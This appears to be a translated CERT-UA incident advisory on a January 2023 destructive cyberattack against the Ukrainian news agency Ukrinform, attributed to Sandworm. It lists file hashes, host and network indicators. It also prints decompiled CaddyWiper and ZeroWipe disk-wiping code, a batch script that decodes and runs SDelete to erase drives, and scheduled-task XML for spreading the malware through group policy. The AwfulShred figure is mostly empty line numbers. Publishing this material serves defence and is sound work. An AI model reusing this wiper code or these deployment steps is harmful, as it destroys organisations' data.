

## Cyber attack on the Ukrinform information and communication system (CERT-UA#5850)

In the Telegram channel "CyberArmyofRussia\_Reborn" on 17.01.2023 at around 12:39, information was published about the violation of the normal functioning of several elements of the information and communication system (hereinafter - ICS) of the Ukrainian National Information Agency "Ukrinform". At the Agency's request, the Government Computer Emergency Response Team of Ukraine CERT-UA initiated measures to investigate a cyberattack on January 17, 2023. As of January 27, 2023, 5 samples of malicious programs (scripts) were detected, the functionality of which is aimed at violating the integrity and availability of information (writing files/disks with zero bytes/arbitrary data and their subsequent deletion), namely: CaddyWiper (Windows) ZeroWipe (Windows) SDelete (Windows) AwfulShred (Linux) BidSwipe (FreeBSD) It was found that the attackers made an unsuccessful attempt to disrupt the regular operation of users' computers using the CaddyWiper and ZeroWipe malicious programs, as well as the legitimate SDelete utility (which was supposed to be launched using "news.bat"). At the same time, for the purpose of centralized distribution of malicious programs, a group policy object (GPO) was created, which, in turn, ensured the creation of corresponding scheduled tasks. There are reasons to believe that the intelligence stage of the ICS of the Ukrainian National Information Agency "Ukrinform" will be conducted no later than 07.12.2022. It was established that the final stage of the cyber attack was initiated on 17.01.2023, however, it was only partially successful, in particular, in relation to several data storage systems. In the process of research, an element of ICS was identified, with the help of which the prerequisites for unauthorized remote access to the Agency's information resources were created. Taking into account the results of the study, we believe it is possible to state that the cyber attack was carried out by the UAC-0082 (Sandworm) group, whose activities are associated with the Russian Federation. It should be noted that the mentioned Telegram channel, along with typical messages about DDoS attacks and defaces, exclusively highlights the destructive activity carried out by the mentioned group. Indicators of compromise Files:

### Indicators of compromise

Files:

cc213200daf4202e2454dc2c363db04f	
00782ccd65a1e03e3e74ce1e59e752926e0a050818fa195bd7e5a5b359500758	2022-12-
23 02:10:52 new.exe (CaddyWiper v3)	
54e5773071b193e109cbacc82565c6a9	
e3bc3689f01fd431cd2ed368ae91ecea7c465c2781fa7b7dc2ec9143a404f79	2022-10-
02 09:53:56 upd.exe (ZeroWipe)	
6aa899b47596323da573fb218f3a8266	
301b248a8291df6c7f3565a3dac17ee69609f36ef474b4f20eebe134746a9cac	-

```
news.bat
803df907d936e08fbbd06020c411be93
e8eaa39e2adfd49ab69d7bb8504ccb82a902c8b48fbc256472f36f41775e594c      2020-11-
24 23:36:04 sdelete.exe (SDelete)
3a1070b882d6843fcfa9490c24700bd1
246607235d560e90590dcf1b0507ab18de74afcc4429d8d5f3ba97eacc92d73f      -    r.sh
(AwfulShred)
4a5863d34fc99e91af11dd7976c36c27
66548ba6ca6d34b7d17e42ab2e1405db1c581a516e0b1a4942d373d6d5396ba4      -
audit.sh (BidSwipe)
```

### Hosts:

```
powershell.exe -Enc
JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[...]xADgALgB0AG0AcAAAnAA==
powershell.exe -Enc
JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[...]zADEAOAAuAHQAbQBwACcA
powershell.exe -Enc
JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[...]5AEEAQgAuAGwAbwBnACcA
powershell.exe -Enc
JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[...]2ADQALgBsAG8AZwAnAA==
$ProgressPreference="SilentlyContinue";copy
C:\windows\system32\winevt\logs\Security.evtx C:\windows\temp\b8WTBwCoF5.log
> 'C:\windows\temp\TS_4318.tmp'
$ProgressPreference="SilentlyContinue";copy
C:\windows\system32\winevt\logs\Security.evtx C:\windows\temp\b8WTBwCoF5.log
> 'C:\windowstemp\TS_4318.tmp'
$ProgressPreference="SilentlyContinue";dnscmd /enumrecords %DOMAIN% . /type A
/child > 'C:\windows\temp\BRN3C2AF47629AB.log'
$ProgressPreference="SilentlyContinue";hostname >
'C:\VLOG\dd_vccredist_x86_20200324195140_001_vcRuntimeAdditional_x64.log'
icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F
takeown /F C:\Windows\explorer.exe
C:\Users\new.exe
C:\VLOG\dd_vccredist_x86_20200324195140_001_vcRuntimeAdditional_x64.log
C:\Windows\SYSTEM\domain\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\news.bat
C:\Windows\SYSTEM\domain\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\upd.exe
C:\Windows\new.bat
C:\Windows\up.exe
C:\windows\temp\BRN3C2AF47629AB.log
C:\windows\temp\TS_4318.tmp
C:\windows\temp\b8WTBwCoF5.log
\\%DOMAIN%\SYSTEM\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-
```

00C04FB984F9}\MACHINE\news.bat  
\\%DOMAIN%\SYSVOL\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-  
00C04FB984F9}\MACHINE\upd.exe  
certutil (Process Name)  
copy (Process Name)  
dnscmd (Process Name)  
hostname (Process Name)  
icacls.exe (Process Name)  
shutdown (Process Name)  
takeown (Process Name)  
Windows\_Security\_Update\_HxW (Scheduled Task)  
Windows\_Security\_Update\_gMj (Scheduled Task)  
Windows\_Security\_Update\_xBQ (Scheduled Task)  
/root/r.sh  
/sbin/audit.sh

### **Network:**

185[.]220.101.185 DE @digitalcourage[.]de (TOR Relay: relayon1185)  
185[.]220.102.244 DE @digitalcourage[.]de (TOR Relay: Digitalcourage4ipea)  
185[.]220.102.245 DE @digitalcourage[.]de (TOR Relay: Digitalcourage4ipfb)  
185[.]220.102.248 DE @digitalcourage[.]de (TOR Relay: Digitalcourage4ip1b)  
185[.]220.102.250 DE @digitalcourage[.]de (TOR Relay: Digitalcourage4ip3a)  
185[.]220.102.251 DE @digitalcourage[.]de (TOR Relay: Digitalcourage4ip4a)  
45[.]154.98.225 NL @as210558[.]net (TOR relay: prsv)  
77[.]91.123.136 NL @stark-industries[.]solutions (TOR Relay: lePaysduDragon)  
80[.]67.167.81 FR @milkywan[.]fr (TOR Relay: arecoquel)  
194[.]28.172.172 UA @besthosting[.]ua (torguard[.]net;  
secureconnect[.]me)  
194[.]28.172.81 UA @besthosting[.]ua (torguard[.]net; secureconnect[.]me)

### **Graphic Images:**

```

hDevice = (*CreateFileW)(u_\\.\PHYSICALDRIVE0,0xc0000003,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hDevice != (HANDLE)0xffffffff) {
    lpLayout = (DRIVE_LAYOUT_INFORMATION_EX *)(*LocalAlloc)(LMEM_ZEROINIT,0x780);
    (*DeviceIoControl)(hDevice,IOCTL_DISK_GET_DRIVE_LAYOUT_EX,NULL,0,lpLayout,0x780,&local_98,NULL);
    if (lpLayout->PartitionEntry[0].StartingOffset.s.LowPart == 1) {
        *(undefined4 *)lpLayout->PartitionEntry[0].u.Gpt.PartitionType.Data4 + 4 = 0;
        *(undefined4 *)lpLayout->PartitionEntry[0].u.Gpt.PartitionType.Data4 + 4 = 0;
        lpLayout->PartitionEntry[0].u.Gpt.PartitionId.Data1 = 0;
        *(undefined4 *)lpLayout->PartitionEntry[0].u.Gpt.PartitionId.Data2 = 0;
        (*DeviceIoControl)(hDevice,IOCTL_DISK_SET_DRIVE_LAYOUT_EX,lpLayout,0x780,NULL,0,&local_98,NULL);
    }
    else if (lpLayout->PartitionStyle == PARTITION_STYLE_MBR) {
        lpBuffer = (*LocalAlloc)(LMEM_ZEROINIT,0x200);
        s_SetFilePointer._0_4_ = 0x46746553;
        s_SetFilePointer._4_4_ = 0x50656c69;
        s_SetFilePointer._8_4_ = 0x746e696f;
        s_SetFilePointer._12_2_ = 0x7265;
        s_SetFilePointer[14] = '\0';
        s_WriteFile._0_4_ = 0x74697257;
        s_WriteFile._4_4_ = 0x6c694665;
        s_WriteFile._8_2_ = 0x65;
        SetFilePointer = (*ctx->GetProcAddress)(ctx->hKernel32,s_SetFilePointer);
        WriteFile = (*ctx->GetProcAddress)(ctx->hKernel32,s_WriteFile);
        (*SetFilePointer)(hDevice,0,NULL,0);
        (*WriteFile)(hDevice,lpBuffer,0x200,&local_98,NULL);
        (*LocalFree)(lpBuffer);
    }
    (*LocalFree)(lpLayout);
    (*CloseHandle)(hDevice);
}
}

undefined4 entry(void)
{
    int iVar1;
    context_t ctx;

    ctx._4_4_ = 0;
    ctx._0_4_ = 0;
    ctx._8_4_ = 0;
    ctx.LoadLibraryA = NULL;
    ctx.GetProcAddress = NULL;
    ctx.hKernel32 = NULL;
    ctx.hAdvapi32 = NULL;
    iVar1 = init_context(&ctx);
    if (iVar1 != 0) {
        if (*(char *)((int)ProcessEnvironmentBlock + 2) == '\x01') {
            return 0;
        }
        ctx._8_4_ = 0;
    }
    if (ctx._8_4_ != 1) {
        destroy_mbr(&ctx);
        wipe_files(&ctx);
        delete_drives(&ctx);
    }
    return 0;
}

```

Рис.1 CaddyWiper Decompiled Software Code Sample (v3)

```

int main(void)
{
    HANDLE hThread;
    uint index;
    DWORD nCount;
    HANDLE threads [26];

    threads[0] = NULL;
    _memset(threads + 1,0,100);
    nCount = 0;
    index = 0;
    do {
        hThread = CreateThread(NULL,0,thread_proc,(LPVOID)index,0,NULL);
        if (hThread != NULL) {
            threads[nCount] = hThread;
            nCount += 1;
        }
        index += 1;
    } while (index < 26);
    WaitForMultipleObjects(nCount,threads,1,0xffffffff);
    Sleep(1800000);
    ExitWindowsEx(EWX_LOGOFF,0xffffffff);
    return 0;
}

void thread_proc(int drive_index)
{
    HANDLE hDevice;
    BOOL BVar1;
    HLOCAL lpBuffer;
    DWORD out_size, written;
    DISK_GEOMETRY geometry;
    WCHAR device_name [1024];

    wprintfw(device_name,L"\\\\.\\PhysicalDrive%d",drive_index);
    hDevice = CreateFileW(device_name,0xc0000003,NULL,OPEN_EXISTING,FILE_FLAG_WRITE_THROUGH,NULL);
    if (hDevice != (HANDLE)0xffffffff) {
        out_size = 0;
        BVar1 = DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&geometry,0x18,&out_size,NULL);
        if (BVar1 != 0) {
            SetFilePointer(hDevice,0,NULL,0);
            lpBuffer = LocalAlloc(LMEM_ZEROINIT,geometry.BytesPerSector << 10);
            if (lpBuffer != NULL) {
                written = 0;
                do {
                    BVar1 = WriteFile(hDevice,lpBuffer,geometry.BytesPerSector << 10,&written,NULL);
                } while (BVar1 != 0);
                LocalFree(lpBuffer);
            }
        }
    }
}

```

Рис.2 Sample decompiled ZeroWipe code

```

1 @echo off
2
3 setlocal EnableDelayedExpansion
4 set TEMPFILE_HEX="!RANDOM!.hex"
5 set TEMPFILE_EXE="!RANDOM!.exe"
6
7 >>TEMPFILE_HEX% echo 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00
8 >>TEMPFILE_HEX% echo 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
9 >>TEMPFILE_HEX% echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 >>TEMPFILE_HEX% echo 10 01 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
11 >>TEMPFILE_HEX% echo 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65
12 >>TEMPFILE_HEX% echo 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0A
13 >>TEMPFILE_HEX% echo 24 00 00 00 00 00 00 10 96 6E 1B 54 F7 00 48 54 F7 00 48
14 >>TEMPFILE_HEX% echo 54 F7 00 48 E0 6B F1 48 5E F7 00 48 E0 6B F3 48 D4 F7 00 48
15 >>TEMPFILE_HEX% echo E0 6B F2 48 4C F7 00 48 06 9F 05 49 70 F7 00 48 06 9F 04 49
16 >>TEMPFILE_HEX% echo 46 F7 00 48 06 9F 03 49 41 F7 00 48 5D 8F 93 48 59 F7 00 48
17 >>TEMPFILE_HEX% echo 54 F7 01 48 DF F7 00 48 F7 9E 05 49 56 F7 00 48 F7 9E 04 49
18 >>TEMPFILE_HEX% echo 57 F7 00 48 F7 9E FF 48 55 F7 00 48 54 F7 97 48 55 F7 00 48
19 >>TEMPFILE_HEX% echo F7 9E 02 49 55 F7 00 48 52 69 63 68 54 F7 00 48 00 00 00
20 >>TEMPFILE_HEX% echo 00 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 05 00
21 >>TEMPFILE_HEX% echo E4 98 BD 5F 00 00 00 00 00 00 00 02 01 0B 01 0E 10
22 >>TEMPFILE_HEX% echo 00 08 04 00 00 5C 01 00 00 00 00 E5 5D 00 00 10 00 00
23 >>TEMPFILE_HEX% echo 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 05 00 01 00

17941 >>TEMPFILE_HEX% echo AE 3B 0C 10 A1 B7 18 70 C7 11 40 DC AC 6C 49 D8 3B 49 88 20
17942 >>TEMPFILE_HEX% echo A3 28 1D 09 6A 0B 19 06 15 6A 76 20 5D 7F 8A 30 63 91 8E 6E
17943 >>TEMPFILE_HEX% echo 4A 80 B6 7D 41 01 6B EC F5 14 04 FF E3 5C 7B CA BA E4 3C 4F
17944 >>TEMPFILE_HEX% echo C4 11 F8 EE F5 DA 68 BB 94 99 6C 62 FA 72 53 1D 06 3C 3D 34
17945 >>TEMPFILE_HEX% echo 2F A7 6B 32 4F DB 3E 30 68 F8 4C EF 67 EF F6 21 9B A1 7B 00
17946 >>TEMPFILE_HEX% echo 00 00 00 00
17947
17948 certutil -f -decodehex %TEMPFILE_HEX% %TEMPFILE_EXE%
17949
17950 takeown /F C:\Windows\explorer.exe
17951 icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F
17952
17953
17954 for %i in (D:,E:,F:,G:,Q:,W:,E:,R:,T:,Y:,U:,I:,O:,P:,S:,H:,X:,Y:,Z:) do (
17955 takeown /a /r /d Y /f %i
17956 start %cd%\%TEMPFILE_EXE% -nobanner -accepteula -r -s -q %i\*
17957 )
17958
17959 timeout 60
17960 takeown /a /r /d Y /f C:\Users\
17961 %cd%\%TEMPFILE_EXE% -nobanner -accepteula -r -s -q c:\Users
17962 %cd%\%TEMPFILE_EXE% -nobanner -accepteula -z c:
17963
17964 shutdown /r /f /t 600
17965 %cd%\%TEMPFILE_EXE% -nobanner -accepteula -r -s -q c:\*

```

Рис.3 An example of the program code of the "news.bat" file that launches the SDelete utility

```

1 #!/bin/bash
2
3 declare -r GkxMhVpQZta="11k"
4 declare -r wFFfj3j3d0m="12k"
5 declare -r mCafSf2zqum="/dev/null"
6 declare -r dAlLd3MzEen="boot"
7 declare -r mHh3k0Kbu="/home"
8 declare -r q0u0u0T0D0m="var/log"
9 declare -r V0s0Y5q1Cf="/var/log"
10
11
12
13 declare -r PSF2Z2Dfag0="apache http ssh"
14
15 declare -r svMghqQpLw=0
16 declare -r hC0S1rntKwy=1
17
18 declare -r gC0m5tVrVw
19 declare -r h0b1M0k0M0="6d"
20 declare -r q0u0u0T0D0m="var/log"
21 declare -r wV0bFwV0M0="n -i -x -z"
22
23 declare -r j0b1M0k0M0="6d"
24 declare -r l0h0u0L0D0m="/dev/zero of"
25
26 declare -a wddisEENhczY
27
28 declare -a PtoTlntNrtEtl
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000

```

Рис.4 An example of the original and deobfuscated AwfulShred code

```

<ScheduledTasks clsid="{C63F200-7309-4ba0-B154-A71CD118DBCC}">
  <TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="news1" image="2" changed="2023-01-17 09:41:10" uid="{CA63CF6E-C93E-49A0-9E47-882740076BB3}" userContext="0" removePolicy="0">
    <Properties action="U" name="news1" runAs="%DOMAIN%\%USERNAME_RUNAS%" logonType="S4U">
      <Task version="1.2">
        <RegistrationInfo></RegistrationInfo>
        <Principals></Principals>
        <Settings></Settings>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>2023-01-17T10:50:36Z</StartBoundary>
            <Enabled>true</Enabled>
            </TimeTrigger>
          </Triggers>
          <Actions Context="Author">
            <Exec>
              <Command>C:\Windows\new.bat</Command>
            </Exec>
          </Actions>
        </Task>
      </Properties>
    </TaskV2>
  </ScheduledTasks>
  <TaskV2 clsid="{2DFEBC1C-261F-4e13-9B21-16FB83BC03BD}" name="news2" image="2" changed="2023-01-17 09:43:06" uid="{81DE282D-518D-453F-9418-32D54CEE4DC1}" userContext="0" removePolicy="0">
    <Properties action="U" name="news2" appName="C:\Windows\new.bat" args="" startIn="" comment="" enabled="1" deleteWhenDone="0" startOnlyIfIdle="0" stopOnIdleEnd="0" noStartIfOnBatteries="0" stopIfGoingOnBatteries="0" systemRequired="1">
      <Triggers>
        <Trigger hasEndDate="0" interval="1" type="ONCE" startHour="10" startMinutes="50" repeatTask="0" beginYear="2023" beginMonth="1" beginDay="17"/>
      </Triggers>
    </Properties>
  </TaskV2>
  <TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="up1" image="2" changed="2023-01-17 09:47:12" uid="{1A87FEE9-6658-4860-840F-8DCD48EF4B4F}" userContext="0" removePolicy="0">
    <Properties action="U" name="up1" runAs="%DOMAIN%\%USERNAME_RUNAS%" logonType="S4U">
      <Task version="1.2">
        <RegistrationInfo></RegistrationInfo>
        <Principals></Principals>
        <Settings></Settings>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>2023-01-17T10:50:18Z</StartBoundary>
            <Enabled>true</Enabled>
            </TimeTrigger>
          </Triggers>
          <Actions Context="Author">
            <Exec>
              <Command>C:\Windows\up.exe</Command>
            </Exec>
          </Actions>
        </Task>
      </Properties>
    </TaskV2>
  </ScheduledTasks>
  <Files clsid="{215B2E53-57CE-475E-80FE-9EEC14635851}">
    <File clsid="{50BE44CB-567A-4e13-B1D0-9234FE1F38AF}" name="new.bat" status="new.bat" image="2" changed="2023-01-17 09:35:13" uid="{478547DA-1288-40CA-AA03-76F82873892C}" bypassErrors="1">
      <Properties action="U" fromPath="%DOMAIN%\%SYSVOL%\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\news.bat" targetPath="C:\Windows\new.bat" readOnly="0" archive="0" hidden="1" suppress="0">
        <Filters>
          <Filter runOnce hidden="1" not="0" bool="AND" id="{DCEFF8B2-554F-4B4D-845F-CD822BA11556}"/>
        </Filters>
      </Properties>
    </File>
  </Files>
  <Files clsid="{50BE44CB-567A-4e13-B1D0-9234FE1F38AF}" name="up.exe" status="up.exe" image="2" changed="2023-01-17 09:45:41" uid="{298FCC37-9ED1-4BA7-8D4A-4F140B382437}" bypassErrors="1">
    <Properties action="U" fromPath="%DOMAIN%\%SYSVOL%\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\up.exe" targetPath="C:\Windows\up.exe" readOnly="0" archive="0" hidden="1" suppress="0">
    </Properties>
  </Files>
  <Files clsid="{2DFEBC1C-261F-4e13-9B21-16FB83BC03BD}" name="up2" image="2" changed="2023-01-17 09:47:56" uid="{0138E97D-2313-4854-821B-0F0F4031A9E5}" userContext="0" removePolicy="0">
    <Properties action="U" name="up2" appName="C:\Windows\up.exe" args="" startIn="" comment="" enabled="1" deleteWhenDone="0" startOnlyIfIdle="0" stopOnIdleEnd="0" noStartIfOnBatteries="0" stopIfGoingOnBatteries="0" systemRequired="1">
    </Properties>
  </Files>
  </ScheduledTasks>

```

Рис.5 An example of scheduled task settings